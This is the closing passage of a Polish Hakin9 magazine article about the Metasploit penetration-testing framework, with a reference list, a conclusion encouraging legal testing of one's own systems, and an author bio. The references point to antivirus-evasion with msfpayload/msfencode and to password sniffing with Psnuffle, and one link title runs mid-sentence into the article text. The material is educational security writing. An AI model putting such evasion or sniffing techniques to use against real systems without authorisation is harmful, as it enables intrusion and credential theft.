http://hcsl.pl/ – Hard Core Security Lab, http://www.metasploit.com/ – The Metasploit Project, http://www.offensive-security.com/metasploit-unleashed/ – Metasploit Framework: kurs online, http://www.irongeek.com/i.php?page=videos/msfpayload-msfencoder-metasploit-3-3 – Using msfpayload and msfencode from Metasploit 3.3 to bypass anti-virus, http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx – Microsoft Security Bulletin MS08-067 – Critical, http://www.coresecurity.com/content/core-impact-overview – strona domowa komercyjnego środowiska do testów penetracyjnych CORE IMPACT PRO, http://www.isecom.org/osstmm/ – Open Source Security Testing Methodology Manual, http://www.remote-exploit.org/backtrack.html – BackTrack Linux LiveCD, http://vimeo.com/6013518 – przykład zastosowania modułu Psnuffle do podsłuchiwania haseł w nasze ręce przez najlepszych ekspertów od bezpieczeństwa informatycznego poświęcających swój czas na rozwój tego otwartego projektu. Metasploit to również zaawansowane narzędzie do tworzenia oraz testowania własnych modułów, co jednak stanowi temat jeszcze obszerniejszy od poruszonego w niniejszym artykule. Każdy fragment środowiska oraz każdy moduł może zostać przez nas podejrzany, zmieniony, a nawet wykorzystany we własnym celu. Taka otwartość pozwala więc na proste tworzenie własnych funkcji, naukę poprzez podglądanie najciekawszych rozwiązań, a przede wszystkim powoduje, że Metasploit Framework ma dosłownie nieograniczone możliwości. Jeśli jakaś funkcja jest nam potrzeba, możemy ją po prostu utworzyć lub zmodyfikować na własny użytek moduł już istniejący. Tego rodzaju funkcjonalności nigdy nie otrzymamy w przypadku bardzo kosztowych zamkniętych pakietów komercyjnych, takich jak choćby wspomniany już Core Impact. Zachęcam więc wszystkich zainteresowanych bezpieczeństwem informatycznym do praktycznego zapoznania się z testami penetracyjnymi z wykorzystaniem środowiska Metasploit Framework. Nie ma bowiem skuteczniejszego oraz bardziej ekscytującego sposobu na przetestowanie bezpieczeństwa własnych systemów, niż własnoręczne włamanie się do ich zasobów. Tego rodzaju testy stanowią również okazję na zapoznanie się (w sposób legalny) z warsztatem komputerowych włamywaczy. Wszystko to w konsekwencji pozwoli nam na lepsze zabezpieczenia własnej infrastruktury oraz lepsze zrozumienie czyhających na nią zagrożeń! Wojciech Smol Autor jest absolwentem wydziału Automatyki, Elektroniki i Informatyki Politechniki Śląskiej w Gliwicach. Ukończył studia na kierunku informatyka, o specjalności Bazy danych, sieci i systemy komputerowe. Pracuje jako administrator sieci i systemów komputerowych w firmie Mostostal Zabrze Holding S.A. Kontakt z autorem: wojciech.smol@mz.pl lub wojciech.smol@gmail.com. Strona domowa autora: http://hcsl.pl/. 3/2010 HAKIN9 27